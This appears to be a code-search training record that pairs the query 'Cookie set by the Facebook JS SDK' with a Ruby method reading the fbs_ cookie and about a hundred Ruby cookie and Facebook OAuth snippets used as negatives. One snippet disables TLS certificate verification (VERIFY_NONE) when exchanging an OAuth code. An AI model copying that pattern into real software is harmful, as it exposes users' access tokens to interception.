[ "0.7175913", "0.6801719", "0.65642375", "0.6560063", "0.6555339", "0.6555339", "0.6544906", "0.6510489", "0.64237505", "0.64021426", "0.63766265", "0.6333998", "0.6323422", "0.63113743", "0.6286421", "0.6278706", "0.62618685", "0.62532526", "0.6225903", "0.6202121", "0.61630774", "0.6155043", "0.61482024", "0.6146942", "0.61310416", "0.6124636", "0.61205405", "0.6110023", "0.60815984", "0.6076403", "0.60683525", "0.60648143", "0.6057565", "0.6006222", "0.5987066", "0.5975711", "0.59572583", "0.5933498", "0.5927435", "0.5921675", "0.59109235", "0.5888254", "0.58820456", "0.5879658", "0.58783454", "0.5878223", "0.5870187", "0.5861928", "0.58559954", "0.58540714", "0.5852579", "0.58485204", "0.58261526", "0.58153176", "0.58016974", "0.5795333", "0.57938796", "0.5792724", "0.57828784", "0.57640034", "0.57597375", "0.57541853", "0.57507443", "0.5740796", "0.57385886", "0.5737586", "0.5737281", "0.57288677", "0.57220525", "0.5716128", "0.5713143", "0.5713093", "0.5709339", "0.5708065", "0.5706251", "0.5694816", "0.5690286", "0.56901664", "0.5687878", "0.56825113", "0.5679101", "0.56688535", "0.56675863", "0.56670195", "0.56574917", "0.56574917", "0.56526965", "0.564076", "0.5639024", "0.5638963", "0.56361103", "0.5628247", "0.5626255", "0.5623392", "0.5618633", "0.5611029", "0.5611029", "0.5601956", "0.55985045", "0.55925035", "0.55857545" ]
0.0
-1
Cookie set by the Facebook JS SDK
def raw_cookie @raw_cookie ||= controller.cookies["fbs_#{self.facebook_api_key}"] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def cookie\n self[HttpClient::SET_COOKIE]\n end", "def set_cookie_value\n cookie_value = User.using_client_shard(client: @client).get_cookie_value(@user.id, @user.password, @browser_user_agent)\n success_with_data({cookie_value: cookie_value, user_token_sale_state: @user.get_token_sale_state_page_name})\n end", "def set_cookie(response)\n response.set_cookie(Webmetrics::Config.cookie_name, {\n :value => self.id,\n :path => \"/\",\n :expires => Time.now+Webmetrics::Config.cookie_expiration\n })\n end", "def cookie\n @cookie ||= Coca::AuthCookie.new(cookies, scope)\n end", "def set_cookie(cookie=nil)\n self.headers[\"Cookie\"] = cookie\n end", "def cookie\n { :value => Crypt.encrypt(cookie_value), :expires => 1.year.from_now }\n end", "def set_cookie\n self.current_user.remember\n cookies[:auth_token] = { \n :value => self.current_user.remember_token, \n :expires => self.current_user.remember_token_expires_at }\n end", "def set_WithCookie(value)\n set_input(\"WithCookie\", value)\n end", "def cookie_value; end", "def set_cookie!\n cookies[:user_session] = {\n :value => token,\n :secure => controller.request.ssl?,\n :httponly => true,\n :expires => self.expires_at\n }\n end", "def cookie=(val)\n @xmlrpc.cookie = val\n end", "def set_cookie(response)\n\t\ttest_cookie = response.get_fields('set-cookie')\n\n\t\tif @cookie_array.include? test_cookie\n\t\t\t@cookies\n\t\telse\n\t\t\t@cookie_array << test_cookie\n \t\t\t@cookies = @cookie_array.join('; ')\n \t\tend\n\t\t#@cookies = response.get_fields('set-cookie')\n\tend", "def set_cookie(name, value)\n @cookies[\"flexi_#{@id}_#{name}\"] = value\n return value\n end", "def http_cookie\n http.cookie\n end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def cookies; end", "def set_cookie\n puts \"hello\"\n # puts @order.as_json\n puts \"-==-=-=-\"\n puts \"-==-=-=-\"\n puts cookies[:name] = current_admin.name\n puts \"-==-=-=-\"\n puts \"-==-=-=-\"\n end", "def set_cookie(name, value, attributes = {})\n cookie = Webmachine::Cookie.new(name, value, attributes).to_s\n case headers['Set-Cookie']\n when nil\n headers['Set-Cookie'] = [cookie]\n when Array\n headers['Set-Cookie'] << cookie\n end\n end", "def set_api_cookie!\n return unless @session_object\n\n session.delete :value\n @session_object.to_hash.each { |k, v| session[k] = v }\n end", "def cookie\n # 'frontend=aaa'\n nil\n end", "def set_cookie(name, value)\n test_cookies[name] = value\n end", "def getCookie()\n return @cookie\n\tend", "def set_cookie(email=nil, nav=false)\n if nav\n cookies[\"bunch__nav\"] = {\n value: \"open\", \n expires: 365.days.from_now\n }\n end\n end", "def emulate_javascript_set_cookie\n @browser.get(HOST + \"Login.asp\")\n @browser.get(HOST + \"Search.asp\")\n end", "def store_session(response)\n attributes = { path: \"/\", value: @cookie.to_json }\n response.set_cookie(APP_NAME, attributes)\n end", "def set_cookie name, value=nil, opts={}\n if Hash === value\n opts = value\n else\n opts[:value] = value\n end\n\n @response.set_cookie name, opts\n end", "def set_acting_user(email)\n `$.cookie('acting_user', #{email}, { path: '/' })`\n end", "def cookie_jar=(cookie_jar); end", "def create_session_cookie_if_needed\n if !params[:fb_sig_in_iframe].blank? && cookies[ActionController::Base.session_options[:key]].nil?\n @handle_url = url_for(\"/fb_session/set?request_path=\" + URI::escape(non_fb_params, \"/=!?&\"))\n render :layout => \"fb_session\", :template => \"fb_session/cookie_handling\"\n end\n end", "def serialize_into_cookie(record); end", "def set(resource)\n @cookies.signed[cookie_name] = {value: [resource.id, Time.now.to_i]}.merge(cookie_options)\n end", "def set_cookies\n session_key = request.session_options[:id]\n\n if(!session_key.nil?)\n # Set the cookie the standard way (Set-Cookie)\n response.set_cookie(MOBILE_KEY, session_key)\n # Set the cookie the way the Android client expects it (set-cookie)\n headers[\"set-cookie\"] = headers[\"Set-Cookie\"]\n end\n end", "def manually_set_cookie(value, expire_in)\n expire_date = expire_in.from_now.gmtime.strftime('%a, %d %b %Y %H:%M:%S GMT')\n response['Set-Cookie'] =\n \"cookiePermissions=#{value}; Expires=#{expire_date}; Path=/; SameSite=Lax\"\n end", "def store_session(res)\n res.set_cookie(cookie_key, { value: @cookie.to_json, path: '/' })\n end", "def fgraph_session_cookies(app_id = fgraph_config['app_id'], \n app_secret = fgraph_config['app_secret'])\n\n return @fgraph_session_cookies if @fgraph_session_cookies\n return if @fgraph_session_cookies == false\n\n fbsr_cookie = request.cookies[\"fbsr_#{app_id}\"]\n if app_id.blank? or app_secret.blank? or fbsr_cookie.blank?\n return @fgraph_session_cookies = false\n end\n\n # Get authorization code and access token\n signed_request = fgraph_parse_signed_request(fbsr_cookie, app_secret)\n resp = FGraph.oauth_access_token(app_id, app_secret, :code => signed_request['code'])\n\n @fgraph_session_cookies = { \n 'access_token' => resp['access_token'] \n }\n end", "def set_cookies_for_user(resource)\n cookies[:c_user] = {value: resource.email, expires: 2.year.from_now}\n end", "def session_remember\n httpsession = Thread.current[:hayabusa][:httpsession]\n raise \"Could not figure out HTTP-session.\" if !httpsession\n session = httpsession.session\n raise \"Could not get session-variable from HTTP-session.\" if !session\n session[:remember] = 1\n \n self.cookie(\n \"name\" => \"HayabusaSession\",\n \"value\" => _httpsession.session_id,\n \"path\" => \"/\",\n \"expires\" => Time.now + 32140800 #add around 12 months\n )\n end", "def cookie_named(name); end", "def setCookies(cookies)\n @fields['cookies'] = cookies\n self\n end", "def setCookies(cookies)\n @fields['cookies'] = cookies\n self\n end", "def cookieMe\n if user_signed_in?\n cookies[:user_id] = current_user.id\n cookies[:user_token] = current_user.salt\n cookies[:user_username] = current_user.username\n cookies[:language] = current_user.language\n elsif !user_signed_in?()\n cookies.delete :user_id\n cookies.delete :user_token\n cookies.delete :user_username\n end\n end", "def send_cookie(name, value = nil)\n @context.add_cookie(name, value)\n end", "def stash_cookie\n cookies[self.class.els_options['cookie']] = {\n :value => @els_identity.token_id,\n :domain => request.env[\"SERVER_NAME\"],\n :path => '/',\n :expires => Time.now + 24.hours\n }\n end", "def fortune_cookie; end", "def store_session(res)\n res.set_cookie(@cookie.to_json)\n debugger\n end", "def store_session(res)\n res.set_cookie(:_rails_lite_app, {path:'/', value: @cookie.to_json})\n end", "def cookie(name, value = nil, duration = 15)\n if value\n response.set_cookie name, { \n :value => value,\n :expires => Time.now + (60 * duration),\n :path => \"/\",\n :httponly => true,\n :secure => production?\n }\n else\n request.cookies[name]\n end\n end", "def set_api_cookie!\n return unless @session_object\n\n @session_object.to_hash.each { |k, v| session[k] = v }\n end", "def credentials\n if self.authenticating_with_facebook?\n {\n :facebook_cookie => self.raw_cookie\n }\n else\n super\n end\n end", "def cookieMe\n if user_signed_in?\n cookies[:user_id] = current_user.id\n cookies[:user_token] = current_user.salt\n cookies[:user_username] = current_user.username\n cookies[:language] = current_user.language\n elsif !user_signed_in?()\n cookies.delete :user_id\n cookies.delete :user_token\n cookies.delete :user_username\n end\n end", "def get_cookie\n resp = @cookie\n if @atl_token != \"\"\n resp = resp + \"; atl.xsrf.token=#{@atl_token}\"\n end\n puts \"Using cookie: #{resp}\".yellow\n resp\n end", "def install_persistent_cookie(name, cookie)\n cookies[name] = {\n :value => cookie,\n :expires => 10.years.from_now\n }\n end", "def cookie_jar; end", "def cookie_jar; end", "def cookie_jar; end", "def cookie_jar; end", "def set_payment_cookie\n cookies[:payment_in_process] = {\n value: {\n billseq: create_payment_params[:billseq],\n session_id: create_payment_params[:session_id],\n group: create_payment_params[:group]\n }.to_json,\n httponly: true,\n expires: 10.minutes\n }\n end", "def set_cookie(cookie_name, value, expires)\n cookies[cookie_name.to_sym] = {\n value: value,\n expires: expires,\n domain: GlobalConstant::Base.cookie_domain,\n http_only: true,\n secure: Rails.env.production?,\n same_site: :strict\n }\n end", "def cookies() @_cookies ||= ::Merb::Cookies.new(request.cookies, @_headers) end", "def cookie(cookie)\n raise \"No HTTP-session attached to this thread.\" if !_httpsession\n raise \"HTTP-session not active.\" if !_httpsession.resp\n raise \"Not a hash: '#{cookie.class.name}', '#{cookie}'.\" unless cookie.is_a?(Hash)\n _httpsession.resp.cookie(cookie)\n return nil\n end", "def set_cookie(cookie, uri = nil)\n cookie_jar.merge(cookie, uri)\n end", "def remember!(cookies)\n cookies[:remember_me] = {:value => \"1\",\n :expires => COOKIE_EXPIRATION }\n \n self.authorization_token = unique_identifier\n self.save!\n cookies[:authorization_token] = {:value => self.authorization_token,\n :expires => COOKIE_EXPIRATION }\n end", "def set_cookies(response)\n cookie_str = response.header['set-cookie']\n return if cookie_str.nil?\n\n fields = cookie_str.split(\"; \").inject({}) { |h, field|\n key, value = field.split(\"=\")\n h[key] = value\n\n h\n }\n\n # This is obviously not a generalized cookie implementation. Heh.\n fields.delete('path')\n @cookies = fields\n end", "def set_cookie(cookie_name, value, expires, encrypt=false)\n cookie_obj = (encrypt == true) ? cookies.encrypted : cookies\n cookie_obj[cookie_name.to_sym] = {\n value: value,\n expires: expires,\n domain: request.host,\n http_only: true,\n secure: !(Rails.env.development? || Rails.env.staging?),\n same_site: :strict\n }\n end", "def setUser\n cookies[:user_id]=current_user.id\n cookies[:is_tech]=current_user.tech\n end", "def add_cookies(response)\n return unless response.key?('set-cookie')\n response.get_fields('set-cookie').each do |cookie|\n (key, val) = cookie.split('; ')[0].split('=', 2)\n cookies[key] = val\n end\n end", "def cookie\n @xmlrpc.cookie\n end", "def set_userid(id)\n response.set_cookie('userid', id)\n end", "def cookie_fix(env)\n params = @request.params\n \n if params['_session_id']\n session = ActiveSupport::JSON.decode(params['_session_id'])\n\n unless (@request.cookies['fbs_' + Facebook::APP_ID.to_s].present?)\n session = session.map { |key, value| key.to_s + \"=\" + value.to_s }.join(\"&\")\n @response.set_cookie('fbs_' + Facebook::APP_ID.to_s, session)\n end\n end\n\n @response.headers.delete \"Content-Type\"\n @response.headers.delete \"Content-Length\"\n @response.headers.delete \"X-Cascade\"\n\n if defined?(OmniAuth) and defined?(Devise)\n mappings = Devise.mappings[:user]\n\n if mappings.controllers.has_key? :omniauth_callbacks\n path = [mappings.path, 'auth', :facebook.to_s, 'callback'].join('/')\n @response.redirect(path + \"?#{params['redirect_to'].to_query('redirect_to')}\")\n else\n @response.redirect(\"/?#{params['redirect_to'].to_query('redirect_to')}\")\n end\n else\n @response.redirect((params['redirect_to'] ? params['redirect_to'] : '/'))\n end\n\n [302, @response.headers, ['Cookie Setted']]\n end", "def store_session(res)\n my_cookie = WEBrick::Cookie.new('_rails_lite_app', @cookies.to_json)\n res.cookies << my_cookie\n end", "def cookies(cookies); end", "def check_cookie(response)\n\t\t\t if response.get_fields('set-cookie')\n \t\t\tset_cookie(response)\n \t\t\tprint \"new cookie: \"\n \t\t\tputs response.get_fields('set-cookie')\n \t\t\tputs @cookies\n \t\tend\n\t\tend", "def login_from_cookie \n user = cookies[:auth_token] && MA[:user].find_with_conditions(:remember_token => cookies[:auth_token])\n if user && user.remember_token?\n user.remember_me\n cookies[:auth_token] = { :value => user.remember_token, :expires => Time.parse(user.remember_token_expires_at.to_s) }\n self.current_ma_user = user\n end\n end", "def bake_vote_cookie_for(question)\n cookies[\"voted_for_#{question.id}\"] = {\n :value => '1',\n :expires => 1.year.from_now # Expire not anytime soon.\n }\n end", "def http_cookie=(content)\n logger.debug { content ? \"Setting Cookie: #{content}\" : 'Clearing Cookie' }\n http.cookie = content\n end", "def store_session(res)\n cookie = WEBrick::Cookie.new('_rails_lite_app', @cookie.to_json)\n res.cookies << cookie\n end", "def add_token_to_cookie(cookies)\n token = SecureRandom.urlsafe_base64()\n @user.update(token: token)\n cookies['token'] = token\n create_return_object()\n end", "def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end", "def cookie= cookie_str\n @headers['Cookie'] = cookie_str if @use_cookies\n end", "def alter_payment_cookie\n new_cookie = payment_in_process_cookie.dup\n new_cookie[:pending] = true if new_cookie[:session_id] == params[:req_merchant_defined_data2]\n cookies[:payment_in_process] = {\n value: new_cookie.to_json,\n httponly: true,\n expires: 10.minutes\n }\n end", "def remember!(cookies)\n cookie_expiration = 10.years.from_now\n cookies[:remember_me] = {:value => \"1\",\n :expires => cookie_expiration}\n self.authorization_token = unique_identifier\n self.save!\n cookies[:authorization_token] = {\n :value => self.authorization_token,\n :expires => cookie_expiration }\n end", "def remember(user)\n user.remember # Defined in the User model\n cookies[:user_id] = { value: user.id,\n expires: 20.years.from_now.utc }\n\n cookies[:remember_token] = { value: user.remember_token,\n expires: 20.years.from_now.utc }\n end", "def set_uuid_cookie\n uuid = cookies[:uuid] || UUIDTools::UUID.random_create.to_s\n cookies[:uuid] = { value: uuid, expires: 5.years.from_now }\n end", "def store_session(res)\n res_cookie = WEBrick::Cookie.new(\n \"_rails_lite_app\",\n @value.to_json\n )\n\n res_cookie.path = \"/\"\n res.cookies << res_cookie\n end", "def store_session(res)\n res.set_cookie\n end", "def remember!(cookies)\n cookie_expiration = 10.years.from_now\n cookies[:remember_me] = { :value => \"1\",\n :expires => cookie_expiration }\n self.authorization_token = unique_identifier\n save!\n cookies[:authorization_token] = { :value => authorization_token,\n :expires => cookie_expiration }\n end", "def cookie_jar=(_arg0); end", "def cookie_jar=(_arg0); end", "def remember!(cookies)\n cookie_expiration = 14.days.from_now\n cookies[:remember_me] = {:value => \"1\",\n :expires => cookie_expiration}\n self.authorization_token = unique_identifier\n save!\n cookies[:authorization_token] = {:value => authorization_token,\n :expires => cookie_expiration}\n end", "def cookies\n test_cookies\n end", "def login_from_cookie\nuser = cookies[:auth_token] && User.find_by_remember_token(cookies[:auth_token])\nif user && user.remember_token?\ncookies[:auth_token] = { :value => user.remember_token, :expires => user.remember_token_expires_at }\nself.current_user = user\nend\nend", "def store_session(res)\n cookie = { path: '/', value: @cookie_hash.to_json }\n res.set_cookie(\"_rails_lite_app\", cookie )\n end", "def get_cookie\n cookies[GeventAnalysis::Application::CONSTS[:cookie_name]]\n end", "def set_sso_cookie!\n Rails.logger.info('SSO: ApplicationController#set_sso_cookie!', sso_logging_info)\n\n return unless Settings.sso.cookie_enabled && @session_object.present?\n\n encryptor = SSOEncryptor\n encrypted_value = encryptor.encrypt(ActiveSupport::JSON.encode(sso_cookie_content))\n cookies[Settings.sso.cookie_name] = {\n value: encrypted_value,\n expires: nil, # NOTE: we track expiration as an attribute in \"value.\" nil here means kill cookie on browser close.\n secure: Settings.sso.cookie_secure,\n httponly: true,\n domain: Settings.sso.cookie_domain\n }\n end", "def set_cookie(key, value)\n ::Rack::Utils.set_cookie_header!(@_headers, key, value)\n end" ]
[ "0.7422192", "0.7267396", "0.7201183", "0.70703876", "0.7053477", "0.70526844", "0.6959549", "0.6924431", "0.69183093", "0.68668807", "0.6859629", "0.68525237", "0.68308324", "0.6822469", "0.6822338", "0.6822338", "0.6822338", "0.6822338", "0.6822338", "0.6822338", "0.6822338", "0.6822278", "0.6797498", "0.6782117", "0.67540735", "0.6736288", "0.6731647", "0.67166084", "0.66875607", "0.66425633", "0.66337615", "0.6609846", "0.66065586", "0.6595828", "0.6595181", "0.65782267", "0.6552696", "0.6527183", "0.6523196", "0.6520422", "0.6509594", "0.65085727", "0.6467906", "0.64564073", "0.64564073", "0.6453046", "0.6452924", "0.6445625", "0.6429998", "0.64244986", "0.64176136", "0.6413982", "0.64011776", "0.64009845", "0.63991606", "0.63979167", "0.63801825", "0.6380116", "0.6380116", "0.6380116", "0.6380116", "0.6377082", "0.637559", "0.63750756", "0.6357585", "0.6348137", "0.6344368", "0.63321126", "0.631363", "0.6308944", "0.6307456", "0.6297803", "0.62975866", "0.6294961", "0.62924147", "0.6287168", "0.6283658", "0.6280994", "0.62779146", "0.62778723", "0.62726897", "0.6267157", "0.62669533", "0.62669533", "0.62664694", "0.62536305", "0.6239717", "0.6239398", "0.6234835", "0.62340736", "0.6228924", "0.6225961", "0.6225961", "0.6223162", "0.6215485", "0.621105", "0.6182606", "0.61824155", "0.6167991", "0.61665994" ]
0.67890453
23
Override this if you only want some requests to use facebook
def authenticating_with_facebook? !authenticating_with_unauthorized_record? && self.facebook_api_keys_provided? && self.raw_cookie end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def facebook\n end", "def facebook\n\n end", "def verify_authenticity_token\n super unless request_comes_from_facebook?\n end", "def facebook_request\n redirect_to facebook_authenticate_url\n end", "def facebook\n handle_auth \"facebook\"\n end", "def facebook\n handle_oauth\n end", "def facebook?\n self.kind == 'facebook'\n end", "def facebook\n callback\n end", "def facebook\n social_login(request.env['omniauth.auth'], current_user,\"Facebook\")\n end", "def facebook?\n self.provider == 'facebook'\n end", "def source_facebook?\n omniauth_access? && identities.collect{|i| i.provider}.include?('facebook')\n end", "def facebook?\n type == 'Facebook'\n end", "def facebook?\n provider_name == 'Facebook'\n end", "def set_facebook_request_format\n if in_canvas? && !in_iframe?\n request.format = :fbml\n end\n end", "def facebook_callback\n if params[:error_reason]\n redirect_to :controller => :home, :action => :index\n return\n end\n oauth_info = OauthToken.get_oauth_info('facebook')\n uri = URI.parse(\"https://graph.facebook.com/oauth/access_token\")\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n\n new_params = {:client_id => oauth_info['consumer_key'],\n :client_secret => oauth_info['consumer_secret'],\n :redirect_uri => oauth_info['callback'],\n :code => params[:code]}\n \n request = Net::HTTP::Post.new(uri.request_uri)\n request.set_form_data(new_params)\n response = http.request(request)\n \n fields = response.body.split('=')\n access_token = fields[1]\n\n oauth_token = OauthToken.find_by_token_and_site_token(access_token,'facebook')\n \n if current_user and oauth_token.present? and oauth_token.user and current_user != oauth_token.user\n redirect_to :controller => :oauth, :action => :duplicate_users, :id => oauth_token.id\n return\n end\n\n # Create the Oauth token\n if oauth_token\n oauth_token.update_attributes({:site_token => 'facebook',\n :site_name => \"Facebook\",\n :token => access_token}) \n oauth_token.get_user_info\n else\n oauth_token = OauthToken.create({:user_id => (current_user ? current_user.id : nil),\n :site_token => 'facebook',\n :site_name => \"Facebook\",\n :token => access_token}) \n oauth_token.get_user_info\n \n TrackedAction.add(:connected_to_third_party_site, oauth_token.user)\n TrackedAction.add(:connected_to_facebook, oauth_token.user)\n oauth_token.user.give_level_up_credits(10)\n end\n\n OauthToken.delay.autofollow_friends(oauth_token.id)\n\n flash[:authenticated_facebook] = 1\n if !session[:redirect_after_oauth].blank?\n redirect_to session[:redirect_after_oauth]\n session[:redirect_after_oauth] = nil\n else\n redirect_to :controller => :home, :action => :index\n end\n end", "def facebook_url\n facebook_id.blank? ? \"\" : \"http://facebook.com/\" + facebook_id\n end", "def logged_in_to_facebook_and_app_authorized\n if ensure_application_is_installed_by_facebook_user \n # filter_parameter_logging :fb_sig_friends # commenting out for now because it fails sometimes\n end\n end", "def facebook\n FbConnection\n end", "def facebook_callback\n hash = request.env[\"omniauth.auth\"]\n if hash\n email = hash[\"info\"][\"email\"]\n username = hash[\"info\"][\"nickname\"]\n gender = hash[\"extra\"][\"raw_info\"][\"gender\"]\n provider = hash[\"provider\"]\n gid = hash[\"uid\"]\n token = hash[\"credentials\"][\"token\"]\n auth = Authentication.find_by_provider_and_gid(provider, gid)\n if !gamer_signed_in?\n if auth\n if auth.gamer\n flash[:success] = t(:signed_in_fb)\n sign_in_and_redirect(:gamer, auth.gamer)\n else\n flash[:error] = t(:no_account)\n redirect_to \"/gamers/sign_up\"\n end\n else\n gamer = Gamer.find_by_email(email)\n if gamer\n Authentication.create_with_omniauth(provider, gid,\n token, nil, email, gamer.id)\n flash[:success] = t(:signed_in_fb)\n sign_in_and_redirect(:gamer, gamer)\n else\n session[\"devise.token\"] = token\n session[\"devise.gid\"] = gid\n session[\"devise.token_secret\"] = nil\n flash[:info] = t(:continue_reg_fb)\n redirect_to controller: \"social_registrations\",\n action: \"new_social\", email: email, username: username,\n gender: gender, provider: provider\n end\n end\n else\n if !auth\n Authentication.create_with_omniauth(provider,gid,\n token, nil, email, current_gamer.id)\n flash[:success] = t(:logged_in_to_fb)\n redirect_to \"/gamers/edit\"\n else\n Authentication.update_token(current_gamer.id, provider, token)\n redirect_to \"/games/post_facebook\"\n end\n end\n else\n flash[:error] = t(:oops_error_fb)\n redirect_to root_url\n end\n end", "def facebook\n handle_redirect('devise.facebook_data', 'Facebook')\n end", "def fb_load_api\n\n\n end", "def set_facebook_url\n facebook_id = user.authorization.uid\n \"http://graph.facebook.com/#{facebook_id}/picture\"\n end", "def facebook\n if request.env['omniauth.params']['role'] == \"user\"\n action = request.env['omniauth.params'] && request.env['omniauth.params']['action'] ? request.env['omniauth.params']['action'] : nil\n role = request.env['omniauth.params']['role']\n unless ['signin', 'signup', 'connect'].include? action\n raise 'wrong parameters for facebook auth'\n end\n @user = User.find_for_facebook_oauth(request.env[\"omniauth.auth\"])\n @status = 'failed'\n @error = nil\n case action\n when 'signup'\n if @user\n @error = \"Compte déja associé avec un autre utilisateur\"\n elsif current_user\n @error = 'Vous êtes déja connecté'\n else\n @user = User.create_for_facebook_oauth(request.env[\"omniauth.auth\"], role)\n sign_in @user\n redirect_to root_path\n end\n when 'signin'\n if !@user\n @error = 'Ce compte ne correspond a aucun utilisateur'\n elsif current_user\n @error = 'Vous êtes déja connecté'\n else\n @user.update_for_facebook_oauth(request.env[\"omniauth.auth\"])\n sign_in @user\n redirect_to root_path\n end\n when 'connect'\n if @user\n if current_user && @user.id == current_user.id\n @error = 'Ce compte vous est déja associé'\n else\n @error = 'Ce compte est déja associé avec un autre utilisateur'\n end\n elsif !current_user || !current_user.id\n @error = 'Vous n\\'êtes pas connecté'\n else\n @user = current_user\n @user.connect_for_facebook_oauth(request.env[\"omniauth.auth\"])\n redirect_to user_profile\n end\n end\n if @error\n case action\n when 'signup'\n redirect_to user_signup_path(:error => @error)\n when 'signin'\n redirect_to user_signin_path(:error => @error)\n when 'connect'\n redirect_to edit_user_registration_path(:error => @error)\n end\n end\n end\n end", "def facebook\n oauth_info = OauthToken.get_oauth_info('facebook')\n session[:redirect_after_oauth] = params[:redirect_to] ? params[:redirect_to] : nil\n redirect_to \"https://graph.facebook.com/oauth/authorize?client_id=#{oauth_info['consumer_key']}\"+\n \"&redirect_uri=#{oauth_info['callback']}\"+\n \"&scope=read_stream,publish_stream,publish_actions,offline_access,user_likes,user_status,\"+\n \"user_birthday,user_relationships,user_relationship_details,\"+\n \"email,user_checkins,sms,user_online_presence\"+\n \"&display=touch\"\n end", "def set_ommniauth_facebook(email = 'phanha9389facebook@gmail.com')\n OmniAuth.config.mock_auth[:facebook] = auth_hash_facebook(email)\n request.env[\"omniauth.auth\"] = OmniAuth.config.mock_auth[:facebook]\n end", "def facebook\n @user = User.find_for_facebook_oauth(request.env[\"omniauth.auth\"], current_user)\n\n if @user.persisted?\n @user\n sign_in_and_redirect @user, :event => :authentication #this will throw if @user is not activated\n set_flash_message(:notice, :success, :kind => \"Facebook\") if is_navigational_format?\n else\n request.env[\"omniauth.auth\"]\n session[\"devise.facebook_data\"] = request.env[\"omniauth.auth\"]\n redirect_to new_user_registration_url\n end\n end", "def check_facebook \n return unless Facebooker.api_key\n if logged_in? and facebook_session and not current_user.has_facebook?\n return if facebook_session.user.uid == 55714215 and current_user.id != 1 # this is jim, don't add his facebook to everyone's account!\n @user = User.find(current_user.id)\n if not @user.update_with_facebook(facebook_session)\n return\n end\n if not @user.activated?\n @user.activate!\n end \n @current_user = User.find(current_user.id)\n flash.now[:notice] = t('facebook.synced', :government_name => current_government.name)\n end \n end", "def go_to_facebook\n redirect_to \"https://www.facebook.com/OfertUs/app_151503908244383\" if Rails.env == \"production\"\n end", "def rc_facebook\n @rc_facebook ||= RestCore::Facebook.new(rc_facebook_options_new)\n end", "def fbauthorize\n redirect_to fb_auth_login_url.to_s\n end", "def facebook_url; \"https://facebook.com/#{facebook}\" end", "def facebook\n @fb_user ||= FbGraph::User.me(self.authentications.find_by_provider('facebook').token)\n @fb_user.fetch\n end", "def log_in_with_facebook?\n return false if %w[all facebook].include? ENV[\"DISABLE_LOG_INS\"]\n return true unless params[:log_in_with]\n return %w[any facebook].include? params[:log_in_with]\n end", "def facebook_activity(share_url=CONFIG[:host], connection_name='dropresume:update')\n if self.auth_provider == 'facebook'\n share_to_facebook(self, connection_name, \"http://#{share_url}\")\n end\n end", "def Managerfb\n session[:check] = 1\n redirect_to '/auth/facebook'\n end", "def connected_to_facebook?\n !self.facebook_id.blank?\n end", "def use_facebook(hash)\n @facebook_hash = hash\n @facebook_hash\n end", "def facebook\n @facebook ||= Koala::Facebook::API.new(oauth_token)\n block_given? ? yield(@facebook) : @facebook\n rescue Koala::Facebook::APIError => e\n logger.info.e.to_s\n nil\n end", "def create\n @facebook_url = FacebookUrl\n p 'fb url'\n puts @facebook_url\n token_info = FacebookAuth.get_user_info_from_cookies(cookies)\n puts \"cookies: #{cookies.inspect}\"\n if (token_info)\n p 'cookie token'\n @user = User.add_facebook(token_info)\n redirect_to :action => 'show', :id => @user.id\n elsif (params[:code]) \n p 'params[:code]'\n token_info = FacebookAuth.get_access_token_info(params[:code])\n @user = User.add_facebook(token_info)\n redirect_to :action => 'show', :id => @user.id\n else\n p 'redirecting to fb'\n render :layout => false, :inline => \"<html><head>\\n<script type=\\\"text/javascript\\\">\\nwindow.top.location.href = '<%=raw(@facebook_url) %>';\\n</script>\\n\"\n #https://graph.facebook.com/oauth/authorize?client_id=163086873741036&redirect_uri=http://apps.facebook.com/friends_mapper/&scope=user_location,friends_location,publish_stream\n end\n \n end", "def like\n login_to_facebook\n bob.like\nend", "def ensure_authenticated\n if current_facebook_user.nil? && params[:Caller].blank?\n redirect_to url_for(:controller => \"login\")\n else\n if params[:Caller]\n phone = params[:Caller].match(/(\\d){10}$/)[0]\n @user = Phone.find_by_number(phone).try(:user)\n unless @user\n redirect_to url_for(:controller => \"login\", :action => \"not_found\", :format => :xml)\n return\n end\n offline_client = Mogli::Client.new(@user.facebook_access_token, nil)\n fb_user = Mogli::User.find(@user.facebook_id, offline_client) # reusing current_facebook_user breaks use in else, somehow\n else\n @user = User.find_or_create_by_facebook_id(current_facebook_user.id)\n #not the best place, but ...\n set_access_token\n current_facebook_user.fetch\n end\n @feed = FbFeed.new(@user)\n logger.debug(\"twilio, #{ @feed }\")\n logger.debug(\"url = https://graph.facebook.com/#{ @user.facebook_id }/home?access_token=#{ @user.facebook_access_token }\")\n end\n end", "def facebook\n @facebook ||= Koala::Facebook::API.new(oauth_token)\n end", "def load_facebook_api\n return if !@facebook_api.nil?\n \n # Find the user token\n auth = authorizations.where(:provider => 'facebook').first\n if !auth.nil?\n @facebook_api = Koala::Facebook::API.new(auth.token)\n else\n raise 'User does not have a Facebook authorization.'\n end\n end", "def facebook_client\n @facebook_client ||= begin\n if provider = self.omni_auth_providers.where(name: \"facebook\").first\n Koala::Facebook::API.new(provider.access_token)\n end\n end\n end", "def facebook_profile?\n @network = current_user.network ||= Network.new\n !(@network.facebook.nil? || @network.facebook.blank?)\n end", "def facebook_connectable?\n return false unless options.facebook\n options.facebook && ENV['WARS_FB_APP_ID'] && ENV['WARS_FB_SECRET']\n end", "def facebook_register_enabled?\n Figaro.env.respond_to?(:facebook_key) && Figaro.env.respond_to?(:facebook_secret)\n end", "def facebook\n @facebook ||= Koala::Facebook::API.new(oauth_token)\n block_given? ? yield(@facebook) : @facebook\nrescue Koala::Facebook::APIError => e\n logger.info e.to_s\n nil\nend", "def social\n @user = current_user\n @links = current_user.external_links\n \n # TWITTER\n if @user.user_content.twitter_token.blank?\n clientTwitter = TwitterOAuth::Client.new(:consumer_key => TwitterEnv::API_KEY, :consumer_secret => TwitterEnv::SECRET_KEY)\n request_token = clientTwitter.request_token(:oauth_callback => TwitterEnv::CALLBACK_URL) \n session[:rtoken_twitter] = request_token.token\n session[:rsecret_twitter] = request_token.secret\n @login_twitter_url = request_token.authorize_url\n end\n \n # FACEBOOK\n @login_facebook_url = Koala::Facebook::OAuth.new.url_for_oauth_code(:permissions => 'read_stream,offline_access')\n \n if params[:code]\n @user.user_content.facebook_token = Koala::Facebook::OAuth.new.get_access_token(params[:code])\n @user.user_content.save\n end\n \n # LINKEDIN\n if params[:oauth_verifier]\n client = 